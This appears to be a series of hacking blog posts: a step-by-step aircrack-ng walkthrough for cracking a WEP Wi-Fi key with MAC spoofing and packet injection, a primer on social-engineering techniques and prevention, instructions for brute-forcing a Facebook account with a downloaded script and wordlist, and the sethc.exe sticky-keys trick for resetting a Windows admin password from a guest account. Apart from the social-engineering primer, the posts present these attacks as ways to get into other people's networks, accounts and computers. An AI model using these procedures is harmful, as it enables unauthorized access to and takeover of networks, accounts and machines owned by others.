HACKING WIFI PASSWORD (PART 1) WEP

Hi Friends, Today I am going to teach you how to exploit a WEP encrypted wireless network. Due to having more secure protocols available like WPA or WPA2, WEP encryption is rarely used. As a matter of fact, it is highly recommended that you never use WEP encryption to secure your network. But Learning is good. Also by this you will get an idea how to exploit a Wireless Network. Learn HOW TO CRACK WPA or WPA2 Password in my next Post.

So, WEP stands for Wireless Equivalent Privacy has been around 1999. It is a older security standard that is used to secure wireless network that time. Later on, In 2003 WEP replaced by WPA and later WAP2. There are many ways to hack WEP but for now here we will use AirCrack Suite or AirCrack NG. This is a WEP and WPA key cracking program that captures network packets, analyzes them, and uses this data to crack the password.

Before we Start let me tell you something, experience with kali terminal window is required, for me KALI-Linux is the Best. You can use this tool in Windows also download the suite from Google. For now I am using Kali here.

:: Let’s Start ::

1} Open a Terminal and bring up a list of wireless network interfaces, so command for that is:

 airmon-ng

2} Under the interface column, select one of your interface. Here I will use wlan0. You may get 
different like mon0.

3} Now, we need to stop the wlan0 and take it down so that we can change our MAC address.

airmon-ng stop

  ifconfig wlan0 down

NOTE: MAC address is an identity of a machine on a Network. You can check your MAC address by the command: ifconfig

4} Now, we will change it. By changing the MAC address we can hide our original identity. For this tutorial we will use 00.10.20.30.40.50.

            macchanger --mac 00.10.20.30.40.50 wlan0

5} Now we need to restart the Airmon. So,

    airmon-ng start wlan0

6} Now, we will use Airodump to locate the available wireless network nearby.

  airodump-ng wlan0

7} A list of available networks will appear. Select right one, press Ctrl + C to stop the search. Highlight the MAC address in the BSSID column, right click your mouse, and select copy. Also, make note of the channel that the network is transmitting its signal upon. You will find this information in the Channel column. In my case channel is 10.

8} Now we run airodump command and copy the information for the selected BSSID to a file. We will utilize the following options:

–c allows us to select our channel. In this case, we use 10.

–w allows us to select the name of our file. In this case, we have chosen tutorialhack

–bssid allows us to select our BSSID. For this Tutorial, we will paste 09:AC:90:AB:78from the clipboard.

airodump-ng –c 10 –w tutorialhack --bssid 09:AC:90:AB:78 wlan0

9} A terminal windows will open. Don’t worry it is the output of the above command, leave it open.

10}Open another terminal window; to attempt to make an association, we will run aireplay command, which has the following syntax:
aireplay-ng -1 0 –a [BSSID] –h [our chosen MAC address] –e [ESSID] [Interface]

So, aireplay-ng -1 0 -a 09:AC:90:AB:78 –h 00:11:22:33:44:55 –e backtrack wlan0

11}Next, we send some traffic to the router so that we have some data to capture. We use aireplay again in the following format:
aireplay-ng -3 –b [BSSID] – h [Our chosen MAC address] [Interface]

So, aireplay-ng -3 –b 09:AC:90:AB:78 –h 00:11:22:33:44:55 wlan0

12}  Your screen will begin to fill with traffic. Let this process run for a minute or two until we have information to run the crack.

13} Finally, we run AirCrack to crack the WEP key.

aircrack-ng –b 09:AC:90:AB:78 tutorialhack.cap 

That's it!

Till Confused what happened, Look Below:
            I think up to step 9 all are easy to understand for beginner also, from step10 only it is important, what we done here is we used aireplay command to associate our machine with the MAC address of the wireless device we were attacking. We concluded by gathering some traffic and then brute-forced the generated CAP file in order to get the wireless password.

All done. Any Problem Contact me I will help for sure.

Come to Facebook Page to Solve your Problems.

Follow me on Facebook, Twitter, Google+. Subscribe to RSS.

SOCIAL ENGINEERING

Hi friends, here I am back with another article. This is just detailed introduction about Social Engineering. Here I will say how it takes place, and Prevention Method.

WHAT IS SOCIAL ENGINEERING?

                Social Engineering refers to psychological manipulation of the people into either performing action or giving out confidential information.

TECHNIQUES:

                Many attacker uses some common techniques to extract the information out. Some are..

1} Pretexting: is to create an invented scenario to engage a targeted victim wherein he would give out information or perform actions that would be unlikely in ordinary circumstances.

2} Diversion Theft: is exercised by Professionals thieves, or Black Hat Hackers, normally against a courier Company or Transport. The aim is to persuade the people responsible for a legitimate delivery that the consignment required elsewhere.

3} Phishing: a common method is used to get the information through fraud, or fake page and stores the confidential information.

4} IVR: also known as phone phishing uses a false interactive voice response (IVR) system to recreate a copy an IVR system.

5} Baiting: It is like a Trojan Horse which attacks the systems through Flash Drives or CD-ROM. When victim opens such affected malicious files, without knowing himself malware installs on his PC. They may be Key Loggers.

6} Quid pro quo: A advance method by which a social engineering occurs, in this attack, attacker pretends to be someone from the IT or different company and makes random calls asking if there is any issue, finally finding someone who needs help, attacker gets them to type commands giving access to the Hacker to launch his Malware.

SOCIAL NETWORKING:

                Many are been social engineered using Social Networks. Attackers normally create a Fake Account with name of celebrities, or a Girl or reputed Organization. Then they target the victim start chatting with the victim, thus extracting out the Information. Such questions Like: What is your Favorite Movie, or Food, Place? What is your Mother or Father or Childhood Name? Also Alternate Emails and Phone Numbers. These questions are very important in recovering your Emails or Social Networking Sites Password in case you forgot them. And attacker will use the same Answer to change the Password of victim.

PREVENTION METHODS:    

1} Don’t click on Links offering free or anything that you haven’t asked.

2} Don’t send sensitive information over the internet.

3} Delete the Emails that ask for Personal Information.

4} Don’t use real details when filling out surveys.

5} Identifying Phishing Emails: Requests for personal information, Fake Links, beware of the URLs that include the @ sign, Also some altered text or Links Like; www.microsoft.comcould appear instead as www.micosoft.com, Message body is an image.

6} Anti Phishing Toolbar: Anti Phishing software consists of programs that identifies the fake content on website or email attachments.

So, This is all about Social Engineering, Stay Tuned for Next articles. Any Doubt Contact me

Like My Page and Follow me on Facebook.  

HACKING FACEBOOK USING BRUTE FORCE

Hi Friends, here I back with Hacking Facebook Using Brute Force method in Kali Linux. BruteForce attack tries every possible combination of letters, numbers and special characters until the right password is found. Here you have to create text file with full list of password. If the victim is your friend or family member then you can guess passwords with is D.O.B or phone number also with special characters. This attacks take long times.

So Here We will Use kali Linux To Attack.

Required Tools::

1} Facebook Python Script…. Download it HERE…… See Rar Password HERE…….

2} Word List….. (Create your own)

::Follow The Steps Below::

1} Install Python on Linux if not installed. For installing use this command

     apt –get install python-mechanize

2} Create a List of Passwords..

3} Add Facebook script to do so place that script on Desktop and use this command

 python facebook.py

Note:

This Tool can crack the facebook account if you don’t have the email of the victim

3} After which tool will start it will ask for victim email, phone number, Profile ID, or username. Enter any one.

4} Enter the path of the password list if it is on Desktop then path will be:

/root/Desktop/pass.txt

5} Now Sit Down and watch if your wordlist have the correct password then HACKED… Best Of Luck.

BE SAFE::

Keep a Good and hard with different numbers, characters, and Capitalization. Don't use your date of Birth, Phone numbers, Child's name. Such passwords are easy to guess and can cracked Easily.

All Done… Any Doubt Contact me…..

Like My Page on Facebook and Follow me Social Sites to get Daily Updates. Subscribe to RRS Feed to get updates to your Email.

WINDOWS ADMIN PASSWORD HACKING

WINDOWS PASSWORD HACK USING GUEST ACCOUNT

Hi Friends,

                    I am back with new stuff from which you can Windows Password using Guest Account. Why we need to hack Admin Password? There are many reason, some are just for fun and kidding Friends, to get Full Control on PC etc. My own reason to hack Admin was to share his data with I can’t install any game and Software I need his password. So I decided to hack admin.

Perhaps, this will be useful to them who have guest account for them who don’t have. Don’t worry you will get it in my next Post.

:: Follow below Steps                                           

1} Login to guest account.

2} Go to this directory. {C: >Windows>System32}

3} Find the “cmd.exe” and copy it to desktop.

4} Rename it to Sethc.exe

5} Copy the new sethc.exe file to system32. It will ask to Overwrite before doing that 

backup original file.

6} Go back to Login Screen.

7} Press Shift key Five times. Instead of Sticky keys dialogue box you will get Console (with admin privileges).

8} Type NET USER ADMIN 1234, where 1234 is your password, and Admin is the name of that Admin Account.

9} Hit Enter. And

10} Login using your new Password 

Done… You Have Hacked The Admin Acc. Any Doubt just Contact me on

FACEBOOK, TWITTER, GOOGLE+

And Like My Page:

                                                  CLICK HERE